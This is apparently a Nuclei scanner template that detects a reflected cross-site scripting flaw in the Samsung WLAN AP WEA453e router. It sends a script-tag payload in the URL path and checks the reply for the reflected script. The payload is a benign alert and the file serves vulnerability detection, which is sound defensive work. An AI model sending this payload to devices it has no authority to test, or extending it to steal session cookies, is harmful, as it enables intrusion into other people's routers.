id: samsung-wlan-ap-xss

info:
  name: Samsung WLAN AP WEA453e - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Samsung WLAN AP WEA453e router contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://iryl.info/2020/11/27/exploiting-samsung-router-wlan-ap-wea453e/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,samsung,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "/tmp/www/<script>alert(document.domain)</script>"
        part: body

      - type: status
        status:
          - 404

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4b0a00483046022100f6eb8639395a7c12aa54c7a1aba6ca5611a926c19de23e09543518583b29452c022100d6fc0e7c561c883f763ad23f178194dfc3142877318fefc539d895b1490bddbf:922c64590222798bb761d5b6d8e72950